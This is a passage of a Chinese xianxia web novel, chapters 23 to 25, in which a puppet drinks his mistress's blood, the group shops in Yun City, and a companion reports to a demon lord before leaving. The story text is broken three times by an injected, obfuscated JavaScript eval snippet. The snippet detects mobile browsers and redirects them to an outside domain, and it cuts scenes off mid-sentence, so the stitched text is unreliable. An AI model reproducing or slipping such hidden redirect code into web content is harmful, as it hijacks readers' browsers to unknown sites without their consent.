穆忘朝最惧见她这副模样,叫他意乱羞赧,又叫他无可奈何。 梨渺沉迷地注视着他,唇点清露,媚眼如丝。 “忍耐那般久,饿坏了吧。” 她寸寸逼近,少年便步步撤退,直到卡在桌前。 “你这说的什么话……我何曾忍耐过什么。”穆忘朝避开目光,一手撑在了桌檐。 梨渺眼角轻弯,“可你的身体告诉我,你饿了。” 她以二指轻触,自他腰间一路点划至胸前。 “使不上半分灵力,连操纵这具身躯行走在山路间,都颇为困难,不是么?” 被戳了痛点,少年紧抿双唇,胸腔因气虚而起伏得格外用力,可即便被拆穿,他也固执地僵着脖颈,不发一言。 梨渺欣赏着他执拗的模样,轻悠悠道:“我是你的主人,只消你开口请求,我自会将食物送到你嘴边,阿朝怎就如此不坦诚呢?” 体内无尽的空虚被少女的话语激得格外不安分,穆忘朝抬眸凝视着她,眼尾泛起的红,似是被糙物狠狠擦碰过。 “即便饥饿难耐,我也不愿……” 梨渺轻巧地咬破了食指。 少年的话语便在这一刻扼在了喉中。 他死死盯着少女浸红的指尖,忽而头晕目眩,心跳如雷,香甜的血气遍遍勾引着在他体内叫嚣的恶兽,他哽了哽喉头,呼吸也随着视线的杂乱而逐渐紧迫。 23. 第 23 章 梨渺专心观赏着少年的挣扎,她轻轻抚过少年的下唇,留下一抹嫣红,而后将手缩回到了胸前。 少年瞳孔紧缩,刹那间抛却了理智,捉住梨渺的手腕欺身而上,将那玉脂般的指尖含在口中用力吸吮。 鲜血浇灌咽喉,吞入腹中,如久旱之地忽来一场大雨,他浑身每一寸都为之而重活。 梨渺顿时思绪皆飞,指尖细微的刺痛刻满了少年人偶的渴望,她目不转睛望着他失控的模样,自己却因愉悦而逐渐颤抖了视线。 如此放下矜持向她索取的师尊,实在美妙至极! 可惜这令人着迷的过程并不长久,方过了半刻,穆忘朝便拾回了理智,他猛地脱开梨渺的手,双目愕然,呼吸急促未定。 “我……”少年哑言。 僵持了许久,他蓦地别开脸,沉声道:“抱歉!” 梨渺笑了,“傀儡饿了,我便喂食,你何需道歉?” 穆忘朝目光连连闪躲,想到方才自己失态,便羞愧难当。 “我……那般轻薄之举,太过失礼。” “这有何妨。” 梨渺抓来穆忘朝的手,也咬住食指舔了舔。 少年顿时一个激灵,瞪着梨渺大惊失色。 “我轻薄了回来,如此便扯平了。”梨渺笑靥如花。 穆忘朝启唇欲言又止,神情瞬息万变,挣扎片刻,他蓦地抽回手,羞愤冲出客房。 门扇摇曳,梨渺看着空空如也的过道,眼角掠过谑然。 穆忘朝冲到栏杆旁陡然停住,楼下宾客谈笑风生,一片祥和,他好似误闯异界的外来者,连四周的空气都在排斥他的靠近。 “客官有何吩咐啊?”店小二见少年人急躁冲到楼梯旁,却又惶惶愣了神,好声出言问道。 穆忘朝双目轻颤,敛了眸光应道:“无事。” 说罢,他迷茫转身,望着梨渺半敞的房门驻足许久,而后走入另一处订下的空房。 他关门靠在门扉,深沉呼吸间渐渐放下防备。 少年的眼眸盈满怅惘,指尖仍浸在异样的触感中,冷不丁战栗。 鲜甜气息仍萦绕在舌喉之间,他咬住下唇,残余的微弱芬芳逗留于舌尖,转瞬即逝。 他终于还是冲破了理智一线。 品味余韵间,少女怜爱的面容便会不可避免地重现在眼前,叫他呼吸错乱。 血气滋养他干涸的内府,亦叫他体会了前所未有的愉悦,仅仅只是汲取小口,都比从前任何一顿饱餐更要美满。 口中已无残香,少年仍忍不住仰头吞咽,迷离的双瞳撑溢渴望。 一小口,远远不够…… 他想要更多…… 挣扎间,穆忘朝狠狠闭上双眼,掐住自己的额头。 再抬眸,锐意突显。 此念决不可存,他不愿变成嗜血怪物,更不愿与那位“主人”牵扯更深。 若事事依赖,终有一日,他便不会是他了。 梨渺迟缓走到少年房门前,停步静听了许久。 屋内喘息声渐落,梨渺轻轻叩响门扉,细柔出声:“阿朝可否放我进来了?” 那方呼吸停顿,忽然没了声音。 他好似并未察觉她正在房外守候。 短暂静默间,梨渺仿佛都能透过厚重的木门,看到少年迟疑纠结的神情。 “阿——朝——” 梨渺故意拉长了字音,声调轻盈,刚好能让门内人听见。 片刻后,房门在吱呀声中缓缓开启,青衣少年静默立在前方,肤色不再似先前苍白,耳根甚至还染上了难言的绯红。 梨渺目露狡黠,举起那根食指,笑道:“瞧,已经愈合了,所以阿朝不必再担心自己会‘轻薄’于我。” 穆忘朝赧然垂了垂睫,目光悄然落在那光洁细腻的指尖,心情微妙难名,说不出是如释重负,还是有些许失望。 梨渺负手上前一步,咧嘴道:“但……若阿朝尚未果腹,我可以让你再咬一口。” “不、不必了,谢谢。”少年匆忙应道。 梨渺嘿嘿笑了声,关上房门跳到少年跟前,好奇望着他。 “任何食物对现在的阿朝而言都难以下咽,但我的血,阿朝好像很喜欢,所以……它在你口中,究竟是什么味道?” 穆忘朝错愕张了张眸,醉生梦死、至上珍馐这种话,他如何都难以启齿。 少女明澈的双眼不掺一丝杂念,穆忘朝揣度她并非是想看他难堪,他抿唇措辞,用平淡的语气说道:“很甜。” 梨渺出神想象了片刻,“我尝起来,却是甜中带咸,还有些腥涩的。” 穆忘朝丝毫未品出腥涩之气。 他忽而怔愣,想起几日前与魔修交战的境况。 彼时四周血流成河,血腥扑鼻,他却未生出半点食欲,分明那时他已饥饿无比。 想清楚其中缘由,穆忘朝凝眉垂首,眸中晦暗不明。 原来他并非毫无节制的嗜血之人。 可如此一来,能够供养他生存之物,唯有渺渺一人的血气,这实非幸事。 梨渺无意识将指尖放在唇上,回味方才喂养少年时的情景,不禁感到身心愉悦。 穆忘朝看见她的神情举止,那疯狂又旖旎的感受便在脑中挥之不去,叫他焦躁又烦闷。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13981670|148159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>梨渺品味许久,娇羞埋下眼忸怩了片刻,意识方回归现实。 她拉着少年在桌旁坐下,轻声道:“先前旁人都在,还没机会问你,你为何又答应了靳无常的邀请?难道真是被他的言语说动了?” 穆忘朝缓缓吸了口气,撇开脑中那些杂尘,道:“今前辈说得不错,要保障渺渺安全,我不可暴露人偶之身,大派去不得,小派却未必有助于我,何去何从,都是件难事。” “唯我派掌门从天而降,无需入门测验,又可让我阅览藏书千万,正解了燃眉之急。只是……我对掌门品性存疑,不敢贸然答应。” 梨渺扇了扇乌睫,含羞笑道:“这么说,阿朝一直在为我着想。” 少年目光闪烁一瞬,低下声音:“我只是……不希望你我之中有人遭逢变故。” 这与为她着想又有何分别,梨渺默默想道,师尊可一点都不坦诚。 穆忘朝:“当靳前辈说,他对我等不会有半分索取、且可将此记入契约时,我便觉得,他虽品性有缺,但对门中弟子无甚所图,可予一信。” “他手下丰厚藏书,正是你我所需之物。找线索、寻敌、变强、复仇,完成这些,百年未必够用。渺渺说我并无寿限,既然如此,我便安心利用在唯我派中的百年,百年过后,若有机缘,我会去往我更该去的地方。” 少年稍顿须臾,抿起唇角看向梨渺。 “何况有你教导,我不怕自己荒废。” 梨渺盈盈笑如桃花,她搭上少年的手,柔婉说道:“阿朝总算懂得,要多依赖我一分,渺渺很欣慰。” 穆忘朝垂睫掩去眸底晦暗,唇边浅笑未褪。 - 今歌白径直走进一家赌坊,穿过喧闹的人群,被眼尖的伙计一路迎入东家房中,而后便赶紧退避。 周遭无人,东家见之诧异,起身拱手行礼。 “见过开阳使,还未到三月之期,大人突然来访,可有要事?” 今歌白姿态端正,神色冷淡。“任务有变,依照尊主的吩咐,需及时上报于她。” “是。”东家并不多问,如常取来纸笔,恭敬摆在桌案上。 今歌白落座提笔,东家便背过身去,老实闭塞了耳目。 ——“目标离岛,已入唯我派,暂居越州云城。” 写罢,今歌白顿了顿笔,又添上一句。 ——“然该派局势未明,恐于目标不利,属下自请继续任务,望尊主定夺。” 收笔,他将信装好封漆,道:“本君还要在云城待上几日,宫中若有回信,速来相宜客栈寻本君。” 东家转过身来,礼敬道了声“是”。 24. 第 24 章 穆忘朝门口蓦地响起两下敲门声。 梨渺黏在少年身上,不情不愿移去目光。“谁?” 今歌白:“便知你在,是我。” 梨渺顿时消去了烦闷,笑吟吟松开少年瘫倒的身子,前去开了房门。 “白哥哥,事情都办完了?” 今歌白目光穿过梨渺头顶,睨向正从榻上撑起上身的少年,无声冷笑。 “是啊,时间尚早,阿渺可想去城中游耍?哥哥尽可作陪。” “好呀好呀,我正有此打算。” 梨渺转身看向穆忘朝,“阿朝快些起来,该出门了。” 穆忘朝目光微凉,这二人天造地设,正好有此机会让他们独处,他不必插手。 今歌白幽幽道:“让他在房中休息便是,强撑几日,他累了。” “阿朝已经恢复了。”梨渺眨眨眼,期待望着少年。 穆忘朝身躯微顿,婉拒的言辞都卡在了喉中。 对那双明媚无邪的眼睛,他越来越难说出败兴的话。 “如果渺渺想要……我会陪同。”少年彻底落败。 今歌白阴下了眼眸,腹中怨气丛生。 难得有如此机会,这小子却阴魂不散。 前几日还一直萎靡不振,这会儿看着又与平常无异,他离开如此短的时间,阿渺便能将其修好,真有本事。 梨渺欣慰弯起眉眼,“星河师姐也想同我去游耍,我去将她叫上。” 说着她便走去敲悉星河的门。 今歌白沉默,又多一枚碍眼物事,叫人心烦。 悉星河应声开门,见到后方气息平和的青衣少年,惊诧道:“这么快……便恢复了?穆师弟可真是不凡,这难道也是血脉赐福的好处?” 梨渺忽然有些别扭,她抿起嘴挡住悉星河的视线,道:“功劳在我。” 悉星河目光停落在梨渺脸上,眸子映得锃亮,“有这本事,你早使出来呀!这是什么补气之法么?我之后若将灵力耗空了,你能不能帮我也补补?” 梨渺摇头,又点头。 悉星河怪异张了张眸,“这又是什么意思嘛。” 梨渺一脸正经道:“我方才忘了,你已是我师姐了,既为同门,便该互相帮持,曾有人是这般告诉我的。” “噢……”悉星河抑不住窃笑,喜庆得像只尝了好处的小狐狸。 她拉住梨渺的手便朝楼梯跨,“那咱们快走吧!” 梨渺被拽上前,不忘回头看向穆忘朝,确认他已跟来。 她方才只对悉星河讲了一半。 另一半原因是,她是用血气滋养傀儡,此法自然无法用在旁人身上,不过……以她元婴期的修为,悄无声息地向炼气期的丫头渡去一点灵力,不过信手拈来。 到了街上,热闹的气息再度席卷识海,街边摊位五花八门,东西虽寻常,但对梨渺却新鲜无比。 “这街边摊都是些小玩意儿,就见到几位售卖灵器的,却都是灵力低微的下等品,看来,好东西都不会出现在这些地方。”悉星河口中说着,但对这些所谓下等品,她也难掩兴趣。 梨渺看向她,“那好东西会在什么地方?” 悉星河:“自然是商铺里了!武器、法宝、衣装、丹药……牌匾越大的商铺,往往东西越好,也越贵!” 梨渺默然想了想,忽地问道:“一柄好剑,要多少钱?” “那得看是多好的剑了。” 悉星河抬了抬腰间剑。 “我的剑是从家里顺来的,勉强算个中品,估摸着能值七八万,上品剑少说翻个十倍,超凡宝剑数百万不等,若是什么宗师名器,那可就有市无价了!” “而且啊,要做好一名剑修,光买剑是不行的,淬剑、养剑、开灵都是大事,得花不少钱呢!” 梨渺瘪嘴蔫了下去,清净门遗留的灵石尚凑不到十万,恐怕只有将那些剑全卖了,才能凑够一柄极品剑的价钱。 但正如她不可将山河清交还予师尊,师兄师姐们的佩剑若流落世间,必然又添麻烦,她不会再容清净门之事掀起波澜。 “要如何才能赚许多钱?”梨渺又问道。 悉星河诧然转头看她,忽地狡黠笑道:“阿渺,你问这么些,该不是想给穆师弟献礼?” 穆忘朝蓦地抬眸,面露为难。 在刚离岛时,渺渺便提过此事,可他万不想她处处为他破费。 梨渺轻转眼珠,道:“我只是随口问问,我自己都还没件像样的武器呢。” 闻声,穆忘朝稍松一口气。 虽说渺渺自称她不善用剑,可他的确未曾见过她使别的兵器。 “我听你先前的意思,是想学医?”悉星河问道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13981671|148159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>梨渺点点头。 悉星河:“唔……倒是与你血脉相契,但我对此道了解甚少,也从未想过医者该使什么兵器。” 这亦是梨渺未解之事。 修剑者至真至纯,她一门心思皆与剑无关,于剑道难成大器。 从前她不奢求什么大道,即便费力,也要讨得师尊赏识,如今却不同了,为了她与师尊的安危,她须得更进一步。 “至于赚钱的门路……若没有炼器炼丹的手艺,便可去猎兽采宝、售卖材料,若是能接上他人委托,亦可赚些辛苦费,不过这些事情,你我这等初生牛犊怕是没什么机会,眼下还是专心修炼提升罢。” 悉星河说得语重心长,遗憾地拍了拍梨渺的肩头。 梨渺默默记在心里,她停在卖布偶的小摊前,心想她有做绢人的手艺,如此这般在街边摆摊售卖,是否也能赚些钱财? 她握起一只半个巴掌大的缇色小老虎,布偶四肢粗短、圆头圆脑的,甚是可爱。 “你喜欢这个?”悉星河也捏起一只翠色小鸟,咧嘴道:“真喜人,我也许久未见过这般小玩意儿了。” 梨渺目光抬向摊主,“这个怎么卖?” “小姐,这些个都是十枚灵石一只。”摊主笑呵呵用食指比出十字。 梨渺轻轻瘪了瘪嘴,那得卖上多少只,才能攒够买剑钱,看来做绢人生意,在这崇尚灵气的修真界并不可靠。 摊主见梨渺面露为难,以为她嫌贵,忙夸起自家的货物,又熟练说上了奉承话。 梨渺置若罔闻,她只觉这小布偶灵巧,她瞧着喜欢。 “我要它。” 她左手一指,点向悉星河手中的绿鸟。“和它。” 悉星河讶异转过脸来,梨渺又若无其事地拿起一只白狐,一条蓝蛇,无一例外都是短而圆润,满是福气。 “这个给阿朝,这个给白哥哥。”梨渺笑吟吟将她物色的小东西托在手中,递给后方两位男子。 穆忘朝讷然接过,捧在手中,抬眼满是懵懂。 今歌白略微歪首,垂睫轻笑一声,“为何选它?” 梨渺一本正经:“它长得像白哥哥。” 今歌白提着小蛇置在眼前,轻轻眯起眼角,这尖眼梢的滑稽玩意儿,哪里像他了。 内心嗤笑罢,他不动声色将布偶的编绳系在了腰间。 25. 第 25 章 梨渺从荷包中摸出早就备好的散碎灵石,数出四十枚,放在了货架上。 悉星河诧然瞪大了眼,将她好生打量了几番,道:“你初入修真界,哪来这么些灵石?” 梨渺无辜看向今歌白,今歌白立马压下微扬的嘴角,配合道:“是本君给阿渺的盘缠。” “噢……原来如此。” 悉星河了然点点头,旋即娇憨笑道:“你还晓得关怀师姐嘛,谢谢啦。” 梨渺手捧着布老虎,矜持抿起唇角。 离开了布偶摊,穆忘朝不动声色走到梨渺身侧,低声问道:“我为何是狐狸,我自认并不狡猾。” “当然,狡猾的是我。” 梨渺笑眯眯指向自己。 穆忘朝一时呆了面容。 梨渺:“阿朝虽不像狐狸,可这只小狐狸呆头呆脑,却和阿朝一般漂亮可人,交到阿朝手里,再合适不过了。” 穆忘朝晃了晃神,低头看向手心里圆滚滚的眯眼小狐狸,小声嘟囔:“倒是合乎此理……” 梨渺:“唔?” 穆忘朝:“我是说……谢谢。” 梨渺双眸清亮,柔了目光。 悉星河看着他二人,兀自想着,阿渺师妹儿时过得苦,如今遇了贵人,也是造化,看她穿着精致,项上还戴着价值看似不菲的玉坠,都要比她阔绰了,真叫人羡慕又欣慰。 云城之大,众人只是在街道上游荡了小半日,天边便已现晚霞。 夜晚各自休息,次日几人便去逛了各色装备店铺,任店主说得天花乱坠,梨渺看向今歌白时,却总是能见到他眼眸中透出若有若无的轻蔑。 白哥哥是身怀白星血脉的铸器能手,不入他眼的东西,便是不如他的造物了。 几日下来,梨渺对市井间货物的种类品质与价格都有了不少认知,最终她总结出一番道理,比起购买法宝,还是积攒材料自己铸器来得划算。 梨渺悄然看着身旁的少年,制造出这具人偶,全凭她日夜消耗血气,三百年方造就一副并不完美的身躯,它没有血液与灵根,轻易便能探出其内在与人类大相径庭,要将其完善,都不知从何入手。 她可没有那般精力,去燃耗血气铸器了。 离开云城前的最后一夜,夜明赌坊的东家悄然潜入相宜客栈,给今歌白送来了上头的回信。 无人后,今歌白倚坐窗台,映月持信注视了半晌,才缓慢将信封拆开。 信上,是魔尊汝元亲笔。 短短两句话,青年看罢,顿然消沉了眼眸,紧握信纸,碎为齑粉。 白日天刚微亮,梨渺便听到一阵克制的敲门声。 “阿渺,是我。” 梨渺揉着眼起床开了门,双目惺忪地看着面前俊美高挺的男子,迷糊出声:“白哥哥……有什么事?” “我要走了。” 今歌白开门见山。 梨渺顿时困意全无,她圆睁着双眼,愣愣望着他。 “去哪儿?” 今歌白:“去履行下一桩使命。” “使命?”梨渺困惑嘟了嘟唇,“有人委托白哥哥做事?” “不……”今歌白下意识吐了一字,又掐断了话音,轻声道:“嗯,是委托。” 梨渺遗憾低下眼,一脸委屈。 “凭白哥哥的手段,还缺钱财么,不做可不可以?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13981672|148159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 今歌白眼眸深沉,他凝视着少女娇美的面容,略微抬了抬唇角。 “阿渺舍不得哥哥?” 梨渺:“自然,三百多年来,白哥哥一直陪着阿渺,我从未想过你会离开。” 今歌白眉眼晕出柔情,他抚着少女鬓边发,沉郁的心情被安抚了少许。 “若非不得已,哥哥也想一直陪着阿渺啊……” 青年轻叹道。 梨渺抬眸望向他,这是从他眼中看到少有的、她能读懂的温柔。 今歌白握起她的手,怜惜地攥在掌心摩挲。 “哥哥只能告诉你,我与你不同,我有效忠之人,身负期许与使命。先前与你相伴这三百余年,已是我这半生……最自由快活的时刻。” “这本《炼器要诀》留给你,看你这几日的目光都粘在那些灵器法宝上,想必你是需要的。” “白哥哥……”梨渺接过秘籍,深受触动,他总是能看透她的心思,为她打点好一切。 她抬头眼波粼粼,满是不愿。 “你还会回来么?” 今歌白将她的小手贴在自己心口,情意缱绻间,眸中光泽又逐渐令人难懂。 他抚着她的脸颊,缓慢凑近,她瞳中跃动的纹路都在眼下清晰可见。 “你不会为我哭,但至少会为我难过。” 男子浅含笑意,陷入沉溺。 “所以临走前,阿渺可否赠上一吻,给哥哥留个念想。” 梨渺眸光微顿,蓦然侧首看向隔壁的房间,少年披着中衣站在门旁,身躯半隐半现,他面无表情望着她,唯有眼瞳抑不住触动,好似银钢制成的丝线,不断扯刮着梨渺的心。